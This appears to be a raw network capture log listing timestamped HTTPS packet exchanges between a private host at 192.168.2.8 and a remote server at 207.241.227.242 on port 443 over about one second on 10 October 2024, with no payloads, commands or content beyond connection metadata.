Oct 10, 2024 09:29:02.423803091 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.423816919 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.423863888 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.423871994 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.423907042 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.424164057 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.424181938 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.424227953 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.424235106 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.424268961 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.481189013 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.481218100 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.481359005 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.481389046 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.481431007 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.497126102 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.497160912 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.497255087 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.497296095 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.497339010 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.511370897 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.511409044 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.511456013 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.511488914 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.511504889 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.511532068 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.511596918 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.511614084 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.511663914 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.511671066 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.511703968 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.511962891 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.511981964 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.512029886 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.512037039 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.512070894 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.512784004 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.512808084 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.512849092 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.512861967 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.512876034 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.512902975 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.513343096 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.513371944 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.513410091 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.513415098 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.513428926 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.513441086 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.513452053 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.513475895 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.513482094 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.513504982 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.513530016 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.569766998 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.569794893 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.569910049 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.569931030 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.569977999 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.585824013 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.585860968 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.585982084 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.585993052 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.586036921 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.599757910 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.599785089 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.599982023 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.599983931 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.599997044 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.600017071 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.600043058 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.600049973 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.600073099 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.600097895 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.600367069 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.600383997 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.600445032 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.600450039 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.600492001 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.601685047 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.601708889 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.601747990 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.601753950 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.601779938 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.601799011 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.602009058 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.602025032 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.602082968 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.602088928 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.602130890 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.602365971 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.602385998 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.602427959 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.602433920 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.602463007 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.602483034 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.658590078 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.658617973 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.658809900 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.658833981 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.658879995 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.674858093 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.674884081 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.674974918 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.674992085 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.675030947 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.688502073 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.688529968 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.688651085 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.688666105 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.688714027 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.688730001 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.688746929 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.688781023 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.688786030 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.688819885 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.688836098 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.689148903 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.689172029 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.689219952 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.689225912 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.689263105 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.689284086 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.690649033 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.690676928 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.690738916 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.690747023 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.690781116 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.690829992 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.690840960 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.690860987 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.690896034 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.690901041 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.690931082 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.690949917 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.691109896 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.691147089 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.691174984 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.691179991 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.691206932 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.691222906 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.747210979 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.747248888 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.747351885 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.747370958 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.747412920 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.763381004 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.763422012 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.763478041 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.763492107 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.763506889 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.763529062 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.777229071 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.777260065 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.777317047 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.777332067 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.777471066 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.777496099 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.777518988 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.777546883 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.777551889 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.777575970 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.777592897 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.778038979 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.778067112 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.778100967 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.778109074 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.778131962 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.778146982 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.779170990 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.779197931 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.779238939 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.779251099 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.779282093 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.779417992 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.779441118 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.779469967 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.779474974 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.779499054 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.779514074 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.833750010 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.833774090 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.833884954 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.833899975 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.833941936 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.851922035 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.851948023 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.852006912 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.852022886 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.852046013 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.852062941 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.865979910 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.866004944 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.866066933 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.866071939 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.866092920 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.866106987 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.866141081 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.866266966 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.866283894 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.866317987 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.866324902 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.866342068 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.866652012 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.866679907 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.866708994 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.866715908 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.866745949 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.867953062 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.867970943 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.868031979 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.868046045 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.868218899 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.868248940 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.868268967 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.868274927 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.868299007 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.909600019 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.922446012 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.922477961 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.922612906 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.922631979 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.922669888 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.940613985 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.940639019 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.940794945 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.940809965 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.940865040 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.954246044 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.954272985 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.954322100 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.954334974 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.954363108 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.954380989 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.954422951 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.954440117 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.954476118 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.954480886 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.954513073 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.954813004 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.954828978 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.954858065 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.954864025 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.954909086 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.954925060 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.955261946 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.955280066 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.955312014 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.955318928 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.955347061 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.955363989 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.956442118 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.956461906 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.956482887 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.956526995 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.956533909 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.956564903 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.956778049 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.956794024 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.956873894 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.956880093 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:02.956916094 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:02.959861040 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.011331081 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.011358023 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.011415005 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.011435986 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.011449099 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.011473894 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.029273033 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.029303074 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.029419899 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.029453993 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.029500008 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.042936087 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.042960882 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.043028116 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.043035984 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.043062925 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.043072939 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.043076992 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.043083906 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.043106079 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.043116093 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.043121099 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.043153048 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.043768883 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.043788910 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.043817043 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.043822050 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.043837070 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.043857098 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.043889999 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.043914080 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.043936014 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.043941975 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.043970108 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.045155048 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.045171022 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.045209885 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.045216084 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.045228958 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.045245886 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.045492887 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.045509100 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.045535088 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.045541048 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.045562983 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.045582056 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.100348949 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.100377083 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.100505114 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.100521088 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.100572109 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.118012905 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.118037939 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.118108988 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.118135929 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.118151903 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.118176937 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.132258892 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.132282972 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.132371902 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.132380009 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.132453918 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.132514954 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.132535934 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.132565022 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.132569075 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.132595062 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.132613897 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.132740021 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.132761955 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.132793903 CEST	49706	443	192.168.2.8	207.241.227.242
